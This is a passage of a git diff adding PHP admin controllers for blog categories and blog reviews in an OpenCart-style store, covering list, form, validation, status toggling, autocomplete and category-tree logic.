+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $blog_category_id) {
+ $this->model_blog_category->deleteCategory($blog_category_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function repair() {
+ $url = '';
+
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if ($this->validateRepair()) {
+ $this->model_blog_category->repairCategories();
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+
+ $url = '';
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('blog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('blog/category/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['repair'] = $this->url->link('blog/category/repair', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['enabled'] = $this->url->link('blog/category/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('blog/category/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['path'])) {
+ if ($this->request->get['path'] != '') {
+ $this->path = explode('_', $this->request->get['path']);
+ $this->blog_category_id = end($this->path);
+ $this->session->data['path'] = $this->request->get['path'];
+ } else {
+ unset($this->session->data['path']);
+ }
+ } elseif (isset($this->session->data['path'])) {
+ $this->path = explode('_', $this->session->data['path']);
+ $this->blog_category_id = end($this->path);
+ }
+
+ $data['categories'] = $this->getCategories(0);
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+ $category_total = $this->model_blog_category->getTotalCategories();
+
+ $data['results'] = $this->language->get('text_category_total') . ($category_total);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/category_list', $data));
+ }
+
+ protected function getForm() {
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['blog_category_id'])) {
+ $data['action'] = $this->url->link('blog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('blog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&blog_category_id=' . $this->request->get['blog_category_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['blog_category_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $category_info = $this->model_blog_category->getCategory($this->request->get['blog_category_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['category_description'])) {
+ $data['category_description'] = $this->request->post['category_description'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_description'] = $this->model_blog_category->getCategoryDescriptions($this->request->get['blog_category_id']);
+ } else {
+ $data['category_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['category_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['category_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['path'])) {
+ $data['path'] = $this->request->post['path'];
+ } elseif (!empty($category_info)) {
+ $data['path'] = $category_info['path'];
+ } else {
+ $data['path'] = '';
+ }
+
+ if (isset($this->request->post['parent_id'])) {
+ $data['parent_id'] = $this->request->post['parent_id'];
+ } elseif (!empty($category_info)) {
+ $data['parent_id'] = $category_info['parent_id'];
+ } else {
+ $data['parent_id'] = 0;
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['category_store'])) {
+ $data['category_store'] = $this->request->post['category_store'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_store'] = $this->model_blog_category->getCategoryStores($this->request->get['blog_category_id']);
+ } else {
+ $data['category_store'] = array(0);
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($category_info)) {
+ $data['image'] = $category_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($category_info) && is_file(DIR_IMAGE . $category_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($category_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['top'])) {
+ $data['top'] = $this->request->post['top'];
+ } elseif (!empty($category_info)) {
+ $data['top'] = $category_info['top'];
+ } else {
+ $data['top'] = 0;
+ }
+
+ if (isset($this->request->post['column'])) {
+ $data['column'] = $this->request->post['column'];
+ } elseif (!empty($category_info)) {
+ $data['column'] = $category_info['column'];
+ } else {
+ $data['column'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($category_info)) {
+ $data['sort_order'] = $category_info['sort_order'];
+ } else {
+ $data['sort_order'] = 0;
+ }
+
+ if (isset($this->request->post['category_seo_url'])) {
+ $data['category_seo_url'] = $this->request->post['category_seo_url'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_seo_url'] = $this->model_blog_category->getCategorySeoUrls($this->request->get['blog_category_id']);
+ } else {
+ $data['category_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($category_info)) {
+ $data['status'] = $category_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($category_info)) {
+ $data['noindex'] = $category_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['category_layout'])) {
+ $data['category_layout'] = $this->request->post['category_layout'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_layout'] = $this->model_blog_category->getCategoryLayouts($this->request->get['blog_category_id']);
+ } else {
+ $data['category_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/category_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'blog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 2) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['category_seo_url']) && is_array($this->request->post['category_seo_url'])) {
+ foreach ($this->request->post['category_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['category_description'])) {
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['category_seo_url'][0][$language_id]) || trim($this->request->post['category_seo_url'][0][$language_id]) === '') {
+ $this->request->post['category_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['category_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['blog_category_id']) || ($seo_url['query'] != 'blog_category_id=' . $this->request->get['blog_category_id']))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $blog_category_id) {
+ $this->model_blog_category->editCategoryStatus($blog_category_id, 1);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $blog_category_id) {
+ $this->model_blog_category->editCategoryStatus($blog_category_id, 0);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'blog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateRepair() {
+ if (!$this->user->hasPermission('modify', 'blog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('blog/category');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'sort' => 'name',
+ 'order' => 'ASC',
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_blog_category->getCategories($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'blog_category_id' => $result['blog_category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ private function getCategories($parent_id, $parent_path = '', $indent = '') {
+ $blog_category_id = array_shift($this->path);
+ $output = array();
+ static $href_category = null;
+ static $href_action = null;
+ if ($href_category === null) {
+ $href_category = $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . '&path=', true);
+ $href_action = $this->url->link('blog/category/update', 'user_token=' . $this->session->data['user_token'] . '&blog_category_id=', true);
+ }
+ $results = $this->model_blog_category->getCategoriesByParentId($parent_id);
+ foreach ($results as $result) {
+ $path = $parent_path . $result['blog_category_id'];
+ $href = ($result['children']) ? $href_category . $path : '';
+ $name = $result['name'];
+ if ($blog_category_id == $result['blog_category_id']) {
+ $name = '' . $name . '';
+ $data['breadcrumbs'][] = array(
+ 'text' => $result['name'],
+ 'href' => $href,
+ 'separator' => ' :: '
+ );
+ $href = '';
+ }
+ $selected = isset($this->request->post['selected']) && in_array($result['blog_category_id'], $this->request->post['selected']);
+ $action = array();
+ $action[] = array(
+ 'text' => $this->language->get('text_edit'),
+ 'href' => $href_action . $result['blog_category_id']
+ );
+ $output[$result['blog_category_id']] = array(
+ 'blog_category_id' => $result['blog_category_id'],
+ 'name' => $name,
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'edit' => $this->url->link('blog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&blog_category_id=' . $result['blog_category_id'], true),
+ 'selected' => $selected,
+ 'action' => $action,
+ 'href' => $href,
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=blog/category&blog_category_id=' . ($result['blog_category_id']),
+ 'indent' => $indent
+ );
+ if ($blog_category_id == $result['blog_category_id']) {
+ $output += $this->getCategories($result['blog_category_id'], $path . '_', $indent . str_repeat(' ', 8));
+ }
+ }
+ return $output;
+ }
+ private function getAllCategories($categories, $parent_id = 0, $parent_name = '') {
+ $output = array();
+ if (array_key_exists($parent_id, $categories)) {
+ if ($parent_name != '') {
+ $parent_name .= $this->language->get('text_separator');
+ }
+ foreach ($categories[$parent_id] as $category) {
+ $output[$category['blog_category_id']] = array(
+ 'blog_category_id' => $category['blog_category_id'],
+ 'name' => $parent_name . $category['name']
+ );
+ $output += $this->getAllCategories($categories, $category['blog_category_id'], $parent_name . $category['name']);
+ }
+ }
+ return $output;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/blog/review.php b/public/admin/controller/blog/review.php
new file mode 100644
index 0000000..b329bf4
--- /dev/null
+++ b/public/admin/controller/blog/review.php
@@ -0,0 +1,650 @@
+load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_review->addReview($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_review->editReview($this->request->get['review_article_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $review_article_id) {
+ $this->model_blog_review->deleteReview($review_article_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_article'])) {
+ $filter_article = $this->request->get['filter_article'];
+ } else {
+ $filter_article = '';
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $filter_author = $this->request->get['filter_author'];
+ } else {
+ $filter_author = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'r.date_added';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('blog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('blog/review/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('blog/review/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('blog/review/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['reviews'] = array();
+
+ $filter_data = array(
+ 'filter_article' => $filter_article,
+ 'filter_author' => $filter_author,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $review_total = $this->model_blog_review->getTotalReviews($filter_data);
+
+ $results = $this->model_blog_review->getReviews($filter_data);
+
+ foreach ($results as $result) {
+ $data['reviews'][] = array(
+ 'review_article_id' => $result['review_article_id'],
+ 'name' => $result['name'],
+ 'author' => $result['author'],
+ 'rating' => $result['rating'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('blog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_article_id=' . $result['review_article_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_article'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_author'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.author' . $url, true);
+ $data['sort_rating'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.rating' . $url, true);
+ $data['sort_status'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $review_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($review_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($review_total - $this->config->get('config_limit_admin'))) ? $review_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $review_total, ceil($review_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_article'] = $filter_article;
+ $data['filter_author'] = $filter_author;
+ $data['filter_status'] = $filter_status;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/review_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['review_article_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['article'])) {
+ $data['error_article'] = $this->error['article'];
+ } else {
+ $data['error_article'] = '';
+ }
+
+ if (isset($this->error['author'])) {
